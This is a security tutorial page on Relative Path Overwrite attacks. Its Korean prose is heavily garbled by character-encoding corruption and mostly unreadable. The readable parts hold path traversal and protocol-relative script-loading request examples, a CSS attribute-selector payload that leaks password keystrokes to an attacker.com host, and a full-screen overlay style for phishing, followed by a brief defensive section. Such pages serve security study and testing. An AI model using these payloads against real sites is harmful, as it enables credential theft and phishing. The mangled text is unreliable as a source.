๐ Introduction
RPO(Relative Path Overwrite)๋ relative URL, ์ฆ ์๋ ๊ฒฝ๋ก ๊ธฐ๋ฐ์ URL์ ๋ฎ์ด์จ์ ์๋ํ์ง ์์ ๋์์ ์ํํ๋ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ๋๋ค. Relative Path Confusion์ด๋ผ๊ณ ๋ ๋ถ๋ฆฌ๋ฉฐ ๋ณธ ๋ฌธ์์์๋ RPO๋ก ํต์ผํ์ฌ ์์ฑํ๊ณ์ต๋๋ค.
RPO๋ฅผ ์น์์ ์ด์ผ๊ธฐํ ๋ ๋ณดํต ์์คํ
์์ ์ฌ์ฉํ๋ Relative Path(e.g ../../app
)์ Absolute Path(e.g /app
) ๊ณผ ์ฝ๊ฐ ๋ค๋ฅธ์ ์ด ์์ผ๋ ์ฐธ๊ณ ํ์๊ธธ ๋ฐ๋์.
Path | Description | Example |
---|---|---|
Absolute URL | Host๊ฐ ํฌํจ๋ URL | <script src=โhttps://www.hahwul.com/file.jsโ> |
Relative URL | Host๊ฐ ํฌํจ๋์ง ์์ URL | <src=โ/file.jsโ> |
link, script ๋ฑ resource๋ฅผ ์ฝ์ด์ค๋ ๊ณผ์ ์์ Host๊ฐ ํฌํจ๋์ง ์์ URL์ Relative URL์ด๋ผ๊ณ ํ๊ณ , ์ด๋ฅผ Overwriteํ ์ ์๋ ๊ฒฝ์ฐ์ resource์ ์ฃผ์ ๋ฑ์ ์กฐ์ํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ์ก์ ์ผ๋ก ์ ๋ํ ์ ์๊ฒ ๋ฉ๋๋ค. (๋ํ์ ์ผ๋ก XSS)
๋ํ์ ์ธ ๋ฐฉ๋ฒ์ผ๋ก๋ Path traversal๊ณผ ๋์ผํ๊ฒ ../
๋ฅผ ์ด์ฉํด ์์ ๊ฒฝ๋ก์ ๋ค๋ฅธ ํ์ผ์ ๋ก๋ํ๊ฑฐ๋, Protocol-relative URL ์ ์ด์ฉํ์ฌ Host๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ๋๋ฉ์ธ์ผ๋ก ๋ณ๊ฒฝํ์ฌ ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค.
Path traversal
[ Req ]
GET /page?sink=../../../upload/my_script.js
[ Res ]
...
<script src="asset/js/vendor/../../../upload/my_script.js"></script>
...
Ptorocol-relative URL
[ Req ]
GET /page?test=//www.hahwul.com/xss.js
[ Res ]
...
<script src="//www.hahwul.com/xss.js"></script>
...
๐ก Offensive techniques
Detect
link
, script
๋ฑ resource๋ฅผ ๋ก๋ํ๋ ๋ถ๋ถ ๋ฑ์ ์ฐ๋ฆฌ๊ฐ ์ปจํธ๋กคํ ์ ์๋ ์๋จ์ด ์๋์ง ์ฒดํฌํด์ผํฉ๋๋ค. ๋ฐฉ๋ฒ์ ์ธ๊ฑด ๋๋ฌด๋๋ ๋ง๊ฒ ์ง๋ง, ๋ํ์ ์ผ๋ก๋ ver, version ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด resource๋ฅผ ๋์ ์ผ๋ก ๋ก๋ํ๋ ๊ฒฝ์ฐ์
๋๋ค.
Origin
GET /page?ver=v1.0.0
Attack
GET /page?ver=../../../../blahblah
๋ํ WAS์ ์ค์ ๊ณผ ์ ์ฑ ์ ๋ฐ๋ผ์ URL ์์ฒด์ URL ์ธ์ฝ๋ฉ๋ ../(%2F)๋ฅผ ์ฝ์ ํ์ฌ Resource ์ปจํธ๋กค์ ์ ๋ํด์ผํฉ๋๋ค. ํ ์คํธ ์ค resource๋ฅผ ์ปจํธ๋กคํ ์ ์๋ ๋ถ๋ถ์ ํ์ธํ๋ค๋ฉด ์ด ๋ถ๋ถ์ ์ด์ฉํ์ฌ ๋ค๋ฅธ ์ทจ์ฝ์ ๊ณผ ์ฐ๊ณ๋๋ ์ ์ฉ ์๋๋ฆฌ์ค๋ฅผ ๊ตฌ์ํด์ผํฉ๋๋ค.
Exploitation
XSS
๋ํ์ ์ธ ๊ณต๊ฒฉ๋ฐฉ๋ฒ์ผ๋ก XSS์์ ์ฐ๊ณ๊ฐ ์์ต๋๋ค. ๊ณต๊ฒฉ์์ remote ์๋ฒ, ๋๋ ํด๋น ๋๋ฉ์ธ์ ์ ๋ก๋๊ฐ ๊ฐ๋ฅํ ๊ฒฝ๋ก๋ฅผ ์ฐพ์ xss ์ฝ๋๊ฐ ํฌํจ๋ js ํ์ผ์ ์ ๋ก๋ํ๊ณ , Relative Path Overwrite๋ฅผ ํตํด ์ด๋ฅผ ํธ๋ฆฌ๊ฑฐํ๋ ํํ๋ก ๋์ํ ์ ์์ต๋๋ค.
[ Req ]
GET /page?sink=../../../upload/my_script.js
[ Res ]
...
<script src="asset/js/vendor/../../../upload/my_script.js"></script>
...
Sequential Import Chaining
d0nutptr์ด ์๊ฐํ ๋ฐฉ๋ฒ์ผ๋ก CSS๋ฅผ ์ปจํธ๋กคํ ์ ์๋ ๊ฒฝ์ฐ ์ด๋ฅผ ์ด์ฉํ์ฌ Keylogger์ ๊ฐ์ ํ์ด๋ก๋๋ฅผ ๊ตฌ์ฑํ ์ ์์ต๋๋ค.
๋จผ์ remote ์๋ฒ์ ์๋์ ๊ฐ์ ํํ์ CSS ์ฝ๋๋ฅผ ์ค๋นํฉ๋๋ค. ํด๋น ์ฝ๋๋ name์ด csrf์ธ input ํ๊ทธ์ ์ ์ฉ๋๋ ์คํ์ผ ์ํธ๋ก value์ ์ฌ๋ถ์ ๋ง๊ฒ background-image๋ฅผ ๊ต์ฒดํฉ๋๋ค.
input[name=password][value^=a]{
background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
background: url('https://attacker.com/9');
}
๊ฒฐ๊ตญ ์ด css๊ฐ ๋ก๋๋ ์ํ์์ ์ฌ์ฉ์๊ฐ ํด๋น input box์ a๋ฅผ ๋๋ ๋ค๋ฉด, background๊ฐ https://attacker.com/a
๋ก ๋ฐ๋๊ฒ ๋๋ฉฐ ๋ธ๋ผ์ฐ์ ์์ ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ๊ธฐ ์ํด ์น ์์ฒญ์ ๋ฐ์์ํค๊ณ , ๊ฒฐ๊ตญ ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์๊ฐ a๋ฅผ ๋๋ ๋ค๋ ๊ฒ์ ์ ์ ์์ต๋๋ค. ์ด๋ฅผ ํตํด์ Keylogger์ ๋น์ทํ ํ์ด๋ก๋๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค.
์ด๋ฌํ ๋ฐฉ๋ฒ์ CSS์ Attribute Selectors์ ํน์ง์ ์ด์ฉํ ๊ธฐ์ ์ด๋ฉฐ, ์์ธํ ๋ด์ฉ์ โSequential Import Chaining์ ์ด์ฉํ CSS ๊ธฐ๋ฐ ๋ฐ์ดํฐ ํ์ทจโ ๊ธ์ ์ฐธ๊ณ ํด์ฃผ์ธ์.
Phishing
JS๋ CSS๋ฅผ ์ปจํธ๋กคํ ์ ์๋ค๋ฉด ํ์ด์ง์ ๋์์ธ์ด๋ ๊ตฌ์กฐ๋ฅผ ๋ฐ๊พธ๋๊ฑด ์์ฃผ ์ฝ๋๋ค. CSS Injection๊ณผ ๋์ผํ๊ฒ position:fix
๋ฑ์ผ๋ก ๋ ์ด์ด๋ฅผ ๋ถ๋ฆฌํ๊ณ , ์
์์ ์ธ ์ปจํ
์ธ ๋ฅผ ๋ด์ ํผ์ฑ๋ฑ์ ์ ๋ํ ์ ์์ต๋๋ค.
.attack {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 999999;
}
https://www.hahwul.com/2021/06/16/css-injection-bypassing-trick/
๐ก Defensive techniques
๋์๋ฐฉ์์ ๊ฐ๋จํฉ๋๋ค. resource๋ ํ์ด์ง์ ๋์๊ณผ ๋์์ธ์ ์ ์ํ ์ ์๊ธฐ ๋๋ฌธ์ ๊ฐ๊ธ์ ์ด๋ฉด ์ฌ์ฉ์์๊ฒ ํต์ ๊ถ์ ์ฃผ์ง ์๋ ๊ฒ์ด ๊ฐ์ฅ ์ข์ต๋๋ค. ๋ง์ฝ ์ฃผ์ด์ผํ๋ค๋ฉด path์ ๋ํ ํต์ ์ ์ฌ์ฉ์ ์ ๋ ฅ์ ๋ํ ๊ฒ์ฆ ๊ณผ์ ์ด ํ์ํฉ๋๋ค.
๐น Tools
- https://github.com/d0nutptr/sic
- https://www.zaproxy.org/docs/alerts/10051/
๐ Articles
- https://www.hahwul.com/2021/06/16/css-injection-bypassing-trick/
- https://www.hahwul.com/2022/02/28/sequential-import-chaining/
๐ References
- http://www.thespanner.co.uk/2014/03/21/rpo/